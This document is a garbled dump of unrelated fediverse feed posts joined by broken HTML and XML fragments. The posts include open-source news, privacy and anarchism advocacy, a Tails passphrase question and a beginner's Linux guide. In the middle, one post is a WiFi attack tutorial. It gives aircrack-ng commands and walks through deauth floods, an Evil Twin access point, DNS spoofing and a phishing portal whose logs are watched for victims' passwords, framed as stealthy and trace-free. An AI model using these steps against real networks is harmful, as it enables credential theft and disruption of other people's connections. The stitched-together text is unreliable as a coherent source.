&lt;p&gt;❗️To protect yourself, download apps only from trusted sources.&lt;/p&gt;
&lt;p&gt;RuStore is the official Russian app store, created with the support of VK and the Russian Ministry of Digital Development. Every RuStore app undergoes a security check to ensure it meets requirements before being published. Google Play, Galaxy Store, Huawei AppGallery, and F-Droid also conduct security checks.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Of all these mentioned alternatives, the last one isn’t pre-installed and obviously has a smaller reach akin to fediverse, yet it’s there, so it’s a little win I guess. If that geeky obscure international FOSS appstore got cheered by national infosec persons who naturally enjoy localization, it says a lot. It’s a genuine praise from an unlikely place.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;I generally trust that channel, mostly for their simple guides you can send to your parents and kids about a recent scam scheme. Sometimes it reeks of propaganda, as you could’ve noticed with 90% of that quote being about the RuStore thing I personally can’t trust. But for ru-speaking fellas it’s probably worth bearing with it.&lt;/em&gt;&lt;/p&gt;

    <title>Legal (it now seems legal) &amp; takedown requests</title>
    <link rel="alternate" href="https://lemmy.ml/post/36993759" type="text/html"/>
    <content type="text">submitted by &lt;a href="https://lemmy.world/u/Valmond"&gt;Valmond&lt;/a&gt; to &lt;a href="https://lemmy.ml/c/opensource_news"&gt;opensource_news&lt;/a&gt;&lt;br&gt;2 points | &lt;a href="https://lemmy.ml/post/36993759"&gt;0 comments&lt;/a&gt;&lt;p&gt;cross-posted from:  &lt;a href="https://lemmy.world/post/36794491"&gt;lemmy.world/post/36794491&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Latest dev news:&lt;/p&gt;
&lt;p&gt;As there have been lots of questions about the legality to run a tenfingers node, I dived deep into the legal protections we have here in the EU, and it is called Safe Harbour Provision.&lt;/p&gt;
&lt;p&gt;I’m not a lawyer, all help greatly appreciated! I thought that as the node do not know what it is sharing (because it is encrypted), it falls under the same legislation as internet broadband providers, but even website hosters benefit from this protection. If anyone is aware about the details about similar laws outside the EU, I’d be grateful if you can share them with me.&lt;/p&gt;
&lt;p&gt;So you can spin up a tenfingers server node, but it obvious comes with a caveat ; there must be a way to generate takedown requests, and as a node owner, if you get one, you must comply. Much like a website.&lt;/p&gt;
&lt;p&gt;You can now generate a takedown request from a link file, it is a simple command line and it generates a &lt;code&gt;takedown file&lt;/code&gt; and an address file containing all the nodes carrying the data. All you have to do is to distribute the takedown request with the added takedown file to the users of the IP addresses. This is done all the time with illegal content.&lt;/p&gt;
&lt;p&gt;If you, as a node owner, gets a takedown request you just need to execute it with a simple command to comply.&lt;/p&gt;
&lt;p&gt;All documented &lt;a href="https://tenfingers.org/takedown.html" rel="nofollow"&gt;Here&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Again, I’m obviously not taking any legal responsibility for anything of this, as per &lt;a href="https://tenfingers.org/legal_general.html" rel="nofollow"&gt;the documentation&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Cheers&lt;/p&gt;
&lt;p&gt;Valmond&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;The Tenfingers community is moving away from the flaky home server lemmy.mindoki. It went down in flames after the last update 🥲.&lt;/p&gt;
&lt;p&gt;So it’s a fresh start here, welcome everyone!&lt;/p&gt;

<p lang="en" dir="ltr">A GitHub project called <a rel="noopener noreferrer ugc" href="https://github.com/adityaax/unfriendly-bugbounty-programs">Unfriendly Bug Bounty Programs</a> to document companies that:</p>
<ul>
<li>Ghost researchers after valid submissions</li>
<li>Silently patch bugs without credit or bounty</li>
<li>Break their own disclosure or reward policies</li>
</ul>
<p lang="en" dir="ltr">This is a growing issue in the bug bounty community where some companies take your findings, fix them, and never get back to you—or worse, mislabel clear vulnerabilities as “informational” or “out of scope.”</p>
<p lang="cy" dir="ltr">📝 How You Can Help:</p>
<ul>
<li>If you’ve had such an experience, you can submit a report via GitHub Issues or a PR using our template.</li>
<li>You only need to describe what happened, provide proof if possible, and confirm it’s your own experience.</li>
</ul>
<p lang="en" dir="ltr">🧠 The goal is to protect bug hunters and help others make informed decisions about where to spend their time and skills.</p>
<p lang="en" dir="ltr">If we don’t call them out—respectfully and factually—they’ll keep ghosting us.</p>
<p lang="en" dir="ltr">💬 Please star the repo, share it with your peers, or add your own entry.
Let’s clean up the bounty space. 🔍</p>

    <title>gameserver-rs, a new game hosting solution aimed towards Kubernetes and more!</title>
    <link rel="alternate" href="https://lemmy.ml/post/31705451" type="text/html"/>
    <content type="text">submitted by &lt;a href="https://lemmy.zip/u/SpiderUnderUrBed"&gt;SpiderUnderUrBed&lt;/a&gt; to &lt;a href="https://lemmy.ml/c/opensource_news"&gt;opensource_news&lt;/a&gt;&lt;br&gt;6 points | &lt;a href="https://lemmy.ml/post/31705451"&gt;0 comments&lt;/a&gt;&lt;p&gt;Hello, I created gameserver-rs, (&lt;a href="https://github.com/SpiderUnderUrBed/gameserver-rs"&gt;github.com/SpiderUnderUrBed/gameserver-rs&lt;/a&gt;), because pterodactyl does not support Kubernetes (and I doubt they would officially add support), there was a attempt, but it was archived probably due to the effort required to maintain something to the level of pterodactyl, but I want gameserver-rs to be its own thing, with a different way to handle nodes, games, and different UI fundamentally. Kubernetes specific features does not work yet, but with the deployments you can already have a node run your game in a pod, and one for the UI, you dont even have to use Kubernetes, which means that its essentially platform agnostic. Made and rust and using svelte (but vanilla html and css works too), I hope to make this project good enough to use for my own server with friends and to provide a use for other people.
&lt;strong&gt;This projects in very early development, I do not recommend using it in prod, this post is mainly aimed towards getting more contributers, if your interested in potentially contributing, tell me in the reply&lt;/strong&gt;&lt;/p&gt;

          <content type="html"><![CDATA[<p lang="en" dir="ltr">Not sure if you guys have heard of Bluesky — it claims to be a Twitter alternative, free from censorship and surveillance. But recently, government censorship has finally reached Bluesky. Not a surprise to me though, because Fediverse social ≠ decentralized social. If someone can ban you or delete your posts, it’s still centralized. Bluesky isn’t the endgame for free speech.</p>
<p lang="gd" dir="ltr">Detail news👇</p>
<p lang="en" dir="ltr">&quot;Earlier this month, Bluesky restricted access to 72 accounts in Turkey at the request of Turkish governmental authorities, according to a recent report by the Freedom of Expression Association. As a result, people in Turkey can no longer see these accounts, and their reach is limited.</p>
<p lang="en" dir="ltr">The report indicates that 59 Bluesky accounts were blocked on the grounds of protecting “national security and public order.” Bluesky also made another 13 accounts and at least one post invisible from Turkey.</p>
<p lang="en" dir="ltr">Given that many Turkish users migrated from X to Bluesky in the hopes of fleeing government censorship, Bluesky’s bowing to the Turkish government’s demands has raised questions among the community as to whether the social network is as open and decentralized as it claims to be. (Or whether it’s “just like Twitter” after all.)&quot; source/: <a rel="noopener noreferrer ugc" href="https://techcrunch.com/2025/04/23/government-censorship-comes-to-bluesky-but-not-its-third-party-apps-yet/">https://techcrunch.com/2025/04/23/government-censorship-comes-to-bluesky-but-not-its-third-party-apps-yet/</a></p>

          <content type="html"><![CDATA[<p lang="en" dir="ltr">🚨 Stand Against Mass Surveillance! Fight for Freedom, Privacy, and Anarchy! 🚨</p>
<p lang="en" dir="ltr">GCHQ/NSA, the state, and corporations are constantly watching, tracking, and controlling our lives. It’s time to fight back! Anarchism is not just a political ideology—it’s a way of life that values freedom, autonomy, and privacy. We resist the state, fight back against surveillance, and build a world where the people control their lives, not the government or corporations.
How We Fight Back:</p>
<pre><code>Qubes OS: Your Digital Fortress 🛡️
    Qubes OS is an open-source operating system built to protect your digital freedom. It isolates your activities in separate virtual machines, preventing surveillance and data breaches. GCHQ and other state agencies cannot access your private data if you’re using Qubes OS.
    Privacy is a revolutionary act. By using Qubes OS, you resist the control that governments and corporations want to have over you.

Tor: The Ultimate Tool for Digital Resistance 🌐
    Tor is the ultimate tool for online freedom. By routing your internet traffic through multiple encryption layers, Tor hides your identity and your location from prying eyes. When you use Tor, you’re fighting back against the surveillance state and protecting your digital privacy.
    Anarchists know that freedom cannot exist without privacy. Use Tor to make it harder for state surveillance agencies like GCHQ to track your every move.

Whonix: Anonymous Operating System for Maximum Privacy 🕵️‍♂️
    Whonix is a security-focused open-source operating system that routes all internet traffic through Tor, making it nearly impossible for anyone to monitor your activity or identify you.
    Whonix provides extra layers of security when combined with Qubes OS, making it one of the most secure ways to browse the internet without surveillance.
    Don’t let the state control you—Whonix provides an extra layer of protection to ensure your digital life remains anonymous and secure.

OMEMO &amp; Dino IM: Secure, Encrypted Communication 🔒
    OMEMO is an end-to-end encryption protocol that keeps your messages and files secure, free from state surveillance.
    Dino IM is a privacy-focused chat app that uses OMEMO encryption to ensure your conversations remain private.
    As anarchists, we understand that communication is key to building community and resistance. Dino IM and OMEMO make sure your conversations are safe from government spying.

Dumbphone: Disconnect from the Surveillance Web 📱
    Dumbphones offer a break from the digital prison of constant surveillance and data collection. These basic phones disconnect you from the internet, reducing your exposure to tracking, advertising, and monitoring.
    Embrace simplicity—using a dumbphone helps you stay off the grid and reduces your digital footprint.

Brazilian Jiu-Jitsu (BJJ): Strengthen Your Body, Mind, and Resistance 💪
    Brazilian Jiu-Jitsu (BJJ) is not only a self-defense art but a way to build mental toughness and physical strength. Training in BJJ teaches you discipline, self-reliance, and the ability to defend yourself when the state or authoritarian powers try to impose control.
    Building a strong body is just as important as building a strong mind—both are critical in the fight for anarchist freedom.

Building Strength: Power Your Body, Power Your Freedom 🏋️‍♂️
    Strength training is a key part of personal freedom. Whether it's calisthenics, weightlifting, or any other form of strength training, your physical body is one of the few things you can fully control.
    A strong body reinforces a strong will—becoming physically fit means you’re less reliant on the state and more capable of resisting oppression.

<p lang="en" dir="ltr">Why Anarchists Must Fight for Privacy &amp; Freedom:</p>
<pre><code>Mass Surveillance: Agencies like GCHQ are constantly watching and tracking your every move. Anarchists resist these authoritarian powers and fight for freedom from control and surveillance.
Control is Power: Governments, corporations, and authoritarian bodies want to control every aspect of your life—from what you say to where you go. Anarchism stands against this control. Privacy is key to achieving this freedom.
Self-Reliance &amp; Resistance: As anarchists, we must be self-reliant, strong, and resilient. We resist external control and take control of our lives—physically, mentally, and digitally.
</code></pre>
<p lang="en" dir="ltr">Support the Tools that Empower Anarchists</p>
<p lang="en" dir="ltr">Qubes OS, Tor, Whonix, OMEMO, Dino IM, BJJ, and dumbphones are essential tools in the fight for privacy, autonomy, and resistance to state surveillance. These tools allow us to protect ourselves and continue the struggle for a world free of oppression.

</code></pre>
<p lang="en" dir="ltr">Why This Matters to Anarchists:</p>
<pre><code>Privacy is Revolutionary: The state and corporations want to control every part of our lives. We must fight back by protecting our privacy and securing our communication.
Anarchy Means Freedom: Freedom is the key tenet of anarchism—freedom from the state, from corporate control, and from surveillance. The tools we use to protect our privacy help us maintain this freedom.
Strength in Numbers: The more people who use these tools and adopt anarchist principles, the stronger we become. Together, we can resist the forces of control.

<p lang="en" dir="ltr">Tutorial: WiFi Pentesting with the Ultimate Tool – by Simon Jester</p>
<p lang="en" dir="ltr">Alright, folks, I’m going to walk you through building and running this Swiss army knife of WiFi penetration tools. We’re not just capturing packets and cracking passwords here. We’re bringing Evil Twin attacks, deauth floods, DNS spoofing, and brute force cracking under one roof.</p>
<p lang="en" dir="ltr">This isn’t just theory—it’s the real deal. Whether you’re pentesting your own setup or stress-testing a network, this guide will take you step-by-step through the full process.</p>
<hr />
<p lang="de" dir="ltr">Step 1: Setup and Dependencies</p>
<p lang="en" dir="ltr">Before running the script, make sure your system has all the necessary tools installed. Run the following commands to get everything you need:</p>
<p lang="en" dir="ltr">sudo apt update
sudo apt install aircrack-ng dnsmasq hostapd apache2 python3-pip -y
pip3 install scapy termcolor</p>
<p lang="fy" dir="ltr">What you’re installing:</p>
<p lang="en" dir="ltr">aircrack-ng: For monitor mode, handshake capture, and password cracking.</p>
<p lang="en" dir="ltr">dnsmasq: For DNS spoofing and DHCP services in Evil Twin attacks.</p>
<p lang="en" dir="ltr">hostapd: To create a fake access point (Evil Twin).</p>
<p lang="en" dir="ltr">apache2: To host phishing portals for Evil Twin attacks.</p>
<p lang="en" dir="ltr">scapy and termcolor: Python libraries to handle packet manipulation and colored output.</p>
<hr />
<p lang="fr" dir="ltr">Step 2: Prepare Your Environment</p>
<ol>
<li>Wireless Adapter:
Make sure you have a WiFi adapter that supports monitor mode. Use airmon-ng to confirm it’s detected:</li>
</ol>
<p lang="gd" dir="ltr">sudo airmon-ng</p>
<ol start="2">
<li>Download Wordlists:
Ensure the following wordlists are present, or download them:</li>
</ol>
<p lang="en" dir="ltr">rockyou.txt: /usr/share/wordlists/rockyou.txt</p>
<p lang="nl" dir="ltr">darkc0de.txt: /usr/share/wordlists/darkc0de.txt</p>
<p lang="en" dir="ltr">SecLists passwords.txt: /usr/share/wordlists/seclists/passwords.txt</p>
<p lang="en" dir="ltr">John the Ripper list: /usr/share/john/password.lst</p>
<p lang="en" dir="ltr">CrackStation wordlist: /usr/share/wordlists/crackstation.txt</p>
<hr />
<p lang="en" dir="ltr">Step 3: Run the Script</p>
<ol>
<li>Start the Script:</li>
</ol>
<p lang="en" dir="ltr">python3 wifi_pentest.py</p>
<ol start="2">
<li>Enter the Wireless Interface: It will prompt for the wireless interface. Use something like wlan0.</li>
</ol>
<p lang="en" dir="ltr">Enter the wireless interface (e.g., wlan0):</p>
<ol start="3">
<li>Select Target: The script will scan for available WiFi networks and display SSID, BSSID, channel, signal strength, and encryption type.</li>
</ol>
<p lang="fr" dir="ltr">Example output:</p>
<p lang="en" dir="ltr">SSID: MyNetwork | BSSID: 00:11:22:33:44:55 | Channel: 6 | Signal: -40 dBm | Encryption: WPA2</p>
<p lang="en" dir="ltr">Enter the BSSID of the target network to proceed.</p>
<hr />
<p lang="es" dir="ltr">Step 4: Choose Your Attack</p>
<p lang="en" dir="ltr">The script will ask if you want to capture the handshake or launch an Evil Twin attack.</p>
<ol>
<li>Option 1: Capture Handshake
This option captures the WPA/WPA2 handshake directly from the network.</li>
</ol>
<p lang="en" dir="ltr">It listens to traffic for 60 seconds to capture the handshake and saves it as handshake-01.cap.</p>
<p lang="en" dir="ltr">Optional: Launch a Deauth Attack to force clients to reconnect and capture the handshake faster.</p>
<ol start="2">
<li>Option 2: Evil Twin Attack
This creates a cloned access point (Evil Twin) with the same SSID as the target network.</li>
</ol>
<p lang="oc" dir="ltr">It launches DNS spoofing using dnsmasq to redirect traffic to your fake login portal.</p>
<p lang="en" dir="ltr">Apache2 hosts the phishing portal, where users will enter their credentials.</p>
<p lang="en" dir="ltr">A deauthentication attack disconnects clients from the real network, forcing them to reconnect to your Evil Twin.</p>
<hr />
<p lang="en" dir="ltr">Step 5: Launch the Evil Twin</p>
<p lang="en" dir="ltr">If you selected the Evil Twin attack, the following happens:</p>
<p lang="en" dir="ltr">A fake access point is created using hostapd.</p>
<p lang="en" dir="ltr">dnsmasq starts redirecting traffic to your phishing portal.</p>
<p lang="en" dir="ltr">Apache logs any entered credentials. Monitor the logs here:</p>
<p lang="ga" dir="ltr">tail -f /var/log/apache2/access.log</p>
<hr />
<p lang="en" dir="ltr">Step 6: Cracking the Password</p>
<p lang="en" dir="ltr">If you opted for handshake capture, the script will ask which wordlist to use for the dictionary attack.</p>
<p lang="en" dir="ltr">Wordlist Options:</p>
<ol>
<li>
<p lang="cs" dir="ltr">rockyou.txt</p>
</li>
<li>
<p lang="nl" dir="ltr">darkc0de.txt</p>
</li>
<li>
<p lang="oc" dir="ltr">SecLists: passwords.txt</p>
</li>
<li>
<p lang="en" dir="ltr">John the Ripper’s list</p>
</li>
<li>
<p lang="en" dir="ltr">CrackStation wordlist</p>
</li>
<li>
<p lang="en" dir="ltr">Custom wordlist (enter the path manually)</p>
</li>
</ol>
<p lang="en" dir="ltr">The tool uses aircrack-ng to attempt a password crack:</p>
<p lang="jv" dir="ltr">aircrack-ng -w /path/to/wordlist -b &lt;BSSID&gt; handshake-01.cap</p>
<p lang="ia" dir="ltr">After completion, it generates an attack report:</p>
<p lang="en" dir="ltr">---- WiFi Penetration Test Report ----
BSSID: 00:11:22:33:44:55
Wordlist used: /usr/share/wordlists/rockyou.txt
Result: Password successfully cracked: hunter2</p>
<hr />
<p lang="fy" dir="ltr">Step 7: Clean Up</p>
<p lang="en" dir="ltr">When the operation completes (or if you interrupt it with Ctrl+C), the script will disable monitor mode to restore your wireless interface to normal.</p>
<p lang="fr" dir="ltr">Example output:</p>
<p lang="en" dir="ltr">[<em>] Cleaning up...
[</em>] Monitor Mode Disabled on wlan0</p>
<hr />
<p lang="fr" dir="ltr">Important Considerations</p>
<p lang="en" dir="ltr">Ethics and Legal Warning:
This tool is for educational and authorized use only. Unauthorized attacks on networks are illegal.</p>
<p lang="en" dir="ltr">Use Strong Wordlists:
Pre-built wordlists are good for most cases, but custom wordlists based on target-specific info (e.g., common passwords, pet names) will significantly improve your success rate.</p>
<p lang="en" dir="ltr">Monitor for User Interaction:
During Evil Twin attacks, always watch Apache logs to catch credentials as soon as they’re entered.</p>
<hr />
<p lang="en" dir="ltr">Real-World Use Cases</p>
<p lang="en" dir="ltr">This tool is battle-tested for:</p>
<p lang="ia" dir="ltr">Red Team Operations: Simulate real-world attacks on corporate WiFi to identify weaknesses.</p>
<p lang="en" dir="ltr">Penetration Testing: Assess the security of WPA/WPA2 networks through handshake cracking and deauthentication attacks.</p>
<p lang="en" dir="ltr">Social Engineering Campaigns: Use the Evil Twin to phish passwords from unsuspecting users.</p>
<p lang="en" dir="ltr">Off-Grid Scenarios: Run it in hostile environments to disable enemy communications or capture key network data.</p>
<hr />
<p lang="fr" dir="ltr">Conclusion</p>
<p lang="en" dir="ltr">This tool combines direct network attacks with social engineering tactics to give you full control over WiFi networks. Whether you’re a pentester, red team operator, or just exploring wireless security, this tool covers all your bases.</p>
<p lang="en" dir="ltr">Remember: the best attacks are the ones that leave no trace. Capture. Disrupt. Crack. And when you’re done—clean up and walk away like you were never there.</p>
<hr />
<p lang="fy" dir="ltr">That’s it, folks. Stay sharp, stay stealthy.</p>

    <title>PeerTube v7 : offer a complete makeover to your video platform !</title>
    <link rel="alternate" href="https://lemmy.ml/post/23671747" type="text/html"/>
    <content type="text">submitted by &lt;a href="https://lemmy.world/u/Framasoft"&gt;Framasoft&lt;/a&gt; to &lt;a href="https://lemmy.ml/c/opensource_news"&gt;opensource_news&lt;/a&gt;&lt;br&gt;8 points | &lt;a href="https://lemmy.ml/post/23671747"&gt;0 comments&lt;/a&gt;&lt;br&gt;&lt;a href="https://framablog.org/2024/12/17/peertube-v7-offer-a-complete-makeover-to-your-video-platform/"&gt;https://framablog.org/2024/12/17/peertube-v7-offer-a-complete-makeover-to-your-video-platform/&lt;/a&gt;&lt;p&gt;cross-posted from:  &lt;a href="https://lemmy.world/post/23232856"&gt;lemmy.world/post/23232856&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;PeerTube is a decentralized and federated alternative to YouTube. The goal of PeerTube is not to replace YouTube but to offer a viable alternative using the strength of ActivityPub and P2P protocols.&lt;/p&gt;
&lt;p&gt;Being built on ActivityPub means PeerTube is able to be part of a bigger social network, the &lt;a href="https://en.wikipedia.org/wiki/Fediverse" rel="nofollow"&gt;Fediverse&lt;/a&gt; (the Federated Universe). On the other hand,  P2P technologies help PeerTube to solve the issue of money, inbound with all streaming platform : With PeerTube, you don’t need to have a lot of bandwidth available on your server to host a PeerTube platform because all users (which didn’t disable the feature) watching a video on PeerTube will be able to share this same video to other viewers.&lt;/p&gt;
&lt;p&gt;If you are curious about PeerTube, I can’t recommend you enough to check &lt;a href="https://joinpeertube.org/" rel="nofollow"&gt;the official website&lt;/a&gt; to learn more about the project. If after that you want to try to use PeerTube as a content creator, you can try to find a platform available there to register or host yourself your own PeerTube platform on your own server.&lt;/p&gt;
&lt;p&gt;The development of PeerTube is actually sponsored by &lt;a href="https://framasoft.org/en/" rel="nofollow"&gt;Framasoft&lt;/a&gt;, a french non-for-profit popular educational organization, a group of friends convinced that an emancipating digital world is possible, convinced that it will arise through actual actions on real world and online with and for you!&lt;/p&gt;
&lt;p&gt;If you want to contribute to PeerTube, feel free to:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;report bugs and give your feedback on &lt;a href="https://github.com/Chocobozzz/PeerTube/" rel="nofollow"&gt;Github&lt;/a&gt; or on &lt;a href="https://framacolibri.org/c/peertube/38" rel="nofollow"&gt;our forums&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;submit your brillant ideas on our &lt;a href="https://ideas.joinpeertube.org/" rel="nofollow"&gt;Feedback platform&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Help to translate the software, following &lt;a href="https://docs.joinpeertube.org/contribute-getting-started?id=translate" rel="nofollow"&gt;the contributing guide&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://support.joinpeertube.org/en/" rel="nofollow"&gt;Make a donation&lt;/a&gt; to help to pay bills inbound in the development of PeerTube.&lt;/li&gt;

    <title>Why make your KeePassXC passphrase different from your persistent storage/encrypted USB passphrase?</title>

          <content type="html"><![CDATA[<p lang="en" dir="ltr">I'm reading through AnarSec's <a rel="noopener noreferrer ugc" href="https://www.anarsec.guide/posts/tails-best/">Tails Best Practices</a>, and in the passphrase section it says your persistent storage passphrase can be the same as the one for an external volume, but the passphrase for the KeePassXC database that you store all other passwords in should be different. But wouldn't the contents of your files theoretically be as important to keep secret as your passwords? So wouldn't it make more sense to just have 1 passphrase for everything and make it longer?</p>
<p lang="en" dir="ltr">The only reason I can think of is bc your passwords would make it easier for an attacker to impersonate you and expose more people, but it doesn't say anything about having a separate passphrase for PGP keys or keeping files with dates and times of future plans in a separate VeraCrypt volume or anything like that. It also doesn't say to close other apps before opening a KeePass database or anything else that would make me think it's in case of a memory exploit. I feel like it's something more basic that I'm not thinking of.</p>
<p lang="en" dir="ltr">Thanks for any answers you may have</p>

    <title>Programming.dev instance: Sponsors needed</title>
    <link rel="alternate" href="https://programming.dev/post/19188667" type="text/html"/>
    <content type="text">submitted by &lt;a href="https://programming.dev/u/starshipwinepineapple"&gt;starshipwinepineapple&lt;/a&gt; to &lt;a href="https://programming.dev/c/programming"&gt;programming&lt;/a&gt;&lt;br&gt;187 points | &lt;a href="https://programming.dev/post/19188667"&gt;19 comments&lt;/a&gt;&lt;br&gt;&lt;a href="https://legal.programming.dev/docs/donation-policy/"&gt;https://legal.programming.dev/docs/donation-policy/&lt;/a&gt;&lt;p&gt;Hi all, I’m relatively new to this instance but reading through the &lt;a href="https://legal.programming.dev/docs/donation-policy/" rel="nofollow"&gt;instance docs&lt;/a&gt; I found:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Donations are currently made using &lt;a href="https://github.com/sponsors/snowe2010/" rel="nofollow"&gt;snowe’s github sponsors page&lt;/a&gt;. If you get another place to donate that is not this it is fake and should be reported to us.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Going to the sponsor page we see the following goal:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;@snowe2010’s goal is to earn $200 per month&lt;/p&gt;
&lt;p&gt;pay for our 📫 SendGrid Account: $20 a month 💻 Vultr VPS for prod and beta sites: Prod is $115-130 a month, beta is $6-10 a month 👩🏼 Paying our admins and devops any amount ◀️ Upgrade tailscale membership: $6-? dollars a month (depends on number of users) Add in better server infrastructure including paid account for Pulsetic and Graphana. Add in better server backups, and be able to expand the team so that it’s not so small.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;strong&gt;Currently only 30% of the goal to break-even is being met. Please consider setting up a sponsorship, even if it just $1. Decentralized platforms are great but they still have real costs behind the scenes.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Note: I’m not affiliated with the admin team, just sharing something I noticed.&lt;/em&gt;&lt;/p&gt;

    <title>Understanding Linux and choosing your first Linux distro, v2.0</title>
    <link rel="alternate" href="https://lemmy.ml/post/18268622" type="text/html"/>
    <content type="text">submitted by &lt;a href="https://lemm.ee/u/wfh"&gt;wfh&lt;/a&gt; to &lt;a href="https://lemmy.ml/c/linux"&gt;linux&lt;/a&gt;&lt;br&gt;426 points | &lt;a href="https://lemmy.ml/post/18268622"&gt;90 comments&lt;/a&gt;&lt;p&gt;You’re about to take your first steps in the wonderful world of Linux, but you’re overwhelmed by the amount of choices? Welcome to this (I hope) very simple guide :)&lt;/p&gt;
&lt;p&gt;The aim of this guide is to provide simple, clear information to ease your transition as a beginner. This is not a be-all-end-all guide nor an advanced guide. Because there is a lot of info and explanations everywhere, I will often (over-)simplify so as to keep the information accessible and digestible. Please refrain from asking to add your favorite distro/DE in the comments, I feel there is too much choice already ;)&lt;/p&gt;
&lt;h1&gt;Preamble&lt;/h1&gt;
&lt;h2&gt;Make sure your hardware is compatible&lt;/h2&gt;
&lt;p&gt;Nowadays &lt;a href="https://linux-hardware.org/" rel="nofollow"&gt;most relatively recent hardware&lt;/a&gt; works perfectly fine on Linux, but there are some edge cases still. If you don’t use niche hardware and your wifi card is supported, chances are you’re golden. Please note that nVidia is a bad faith player in the Linux world, so if you have a GeForce GPU, expect some trouble.&lt;/p&gt;
&lt;h2&gt;Make sure your favourite apps are either available or have a good replacement on Linux&lt;/h2&gt;
&lt;p&gt;If some proprietary app is essential to your workflow and is irreplaceable, consider running it in a VM, keeping a Windows partition for it or try and run it through Wine (this is advanced stuff though).&lt;/p&gt;
&lt;h2&gt;Be aware that Linux is not Windows/MacOS&lt;/h2&gt;
&lt;p&gt;Things work differently, and this is normal. You will probably struggle at the beginning while adjusting to a new paradigm. You may have to troubleshoot some things. You may break some things in the process. You will probably get frustrated at some point or another. It’s okay. You’re learning something new, and it can be hard to shed old habits forged by years on another system.&lt;/p&gt;
&lt;h2&gt;When in doubt, search for documentation&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://wiki.archlinux.org/" rel="nofollow"&gt;Arch Wiki&lt;/a&gt; is one of the greatest knowledge bases about Linux. Despite being heavily tied to Arch, most of its content is readily usable to troubleshoot most modern distros, as the building blocks (Kernel, systemd, core system apps, XOrg/Wayland, your DE of choice etc.) are the same. Most distros also maintain their own knowledge base.&lt;/p&gt;
&lt;h1&gt;Understanding the Linux world&lt;/h1&gt;
&lt;h2&gt;What is Linux?&lt;/h2&gt;
&lt;p&gt;Linux, in the strictest definition, is the kernel, ie. the core component that, among other things, orchestrates and handles all interactions between hardware and software, of a large family of operating systems that, by metonymy, are called “Linux”. In general understanding, Linux is any one of these operating systems, called distros.&lt;/p&gt;
&lt;h2&gt;What is a distro?&lt;/h2&gt;
&lt;p&gt;A distro, short for “Software Distribution”, is a cohesive ensemble of software, providing a full operating system, maintained by a single team. Generally, all of them tend to provide almost the same software and work in a very similar way, but there are major philosophical differences that may influence your choice.&lt;/p&gt;
&lt;h2&gt;What are the main differences between distros?&lt;/h2&gt;
&lt;p&gt;As said above, there are a lot of philosophical differences between distros that lead to practical differences. There are a lot of very different ways the same software can be distributed.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;“Point Release” (OpenSUSE Leap) vs. “Rolling Release” (OpenSUSE Tumbleweed)&lt;/strong&gt;: Point release distros are like traditional software. They have numbered releases, and between each one no feature updates take place, only security updates and bug fixes. Rolling Release distros package and distribute software as soon as it’s available upstream (the software developer’s repos), meaning that there are no versions and no specific schedule.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;“Stable” (Debian Stable) vs. “Bleeding edge” (Arch)&lt;/strong&gt;: Stable distros are generally point release, and focus on fixing bugs and security flaws at the expense of new features. Each version goes through a lenghty period of feature freeze, testing and bug fixing before release. Stability here not only means trouble-free operation, but more importantly consistent behavior over time. Things won’t evolve, but things won’t break. At least until the next release. Bleeding edge distros, which often follow the rolling release model (there are outliers like Fedora which are mostly bleeding edge yet have point releases), on the other hand, are permanently evolving. By constantly pushing the latest version of each software package, new features, new bugs, bug fixes, security updates and sometimes breaking changes are released continuously. Note that this is not a binary, there is a very large continuum between the stablest and the most bleeding edge distro.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;“Community” (Fedora) vs. “Commercial” (RHEL)&lt;/strong&gt;: Despite the name, Community distros are not only maintained by volunteers, but can also be developed by some company’s employees and can be sponsored by commercial entities. However, the main difference with Commercial distros is that they’re not a product destined to be sold. Commercial distros like Red Hat’s RHEL, SuSE Linux Enterprise or Ubuntu Pro are (supposed to be) fully maintained by their company’s employees and target businesses with paid support, maintenance, fixes, deployment, training etc.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;“x package manager” vs. “y package manager”, “x package format” vs. “y package format”&lt;/strong&gt;: It doesn’t matter. Seriously. &lt;code&gt;apt&lt;/code&gt;, &lt;code&gt;dnf&lt;/code&gt; or &lt;code&gt;pacman&lt;/code&gt;, to name a few, all have the exact same purpose: install and update software on your system and manage dependencies.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;“general purpose” (Linux Mint) vs. “niche” (Kali Linux)&lt;/strong&gt;: General purpose distros are just that: distros that can do pretty much anything. Some are truly general purpose (like Debian), and have no bias towards any potential use, be it for a server, a desktop/laptop PC, some IOT or embedded devices, containers etc., some have various flavors depending on intended use (like Fedora Workstation for desktops and Fedora Server for, you guessed it, servers) but are still considered general purpose. They aim for maximum hardware compatibility and broad use cases. At the opposite end, niche distros are created for very specific and unique use cases, like pentesting (Kali), gaming (Nobara), music production (AV Linux) etc. They tend to have a lot of specific tools preinstalled, nonstandard defaults or modified kernels that may or may not work properly outside of their inteded use case.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;“team” (Any major distro) vs. “single maintainer” (Nobara)&lt;/strong&gt;: Pretty self explanatory. Some distros are maintained by a single person or a very small group of people. These distros do not usually last very long.&lt;/li&gt;
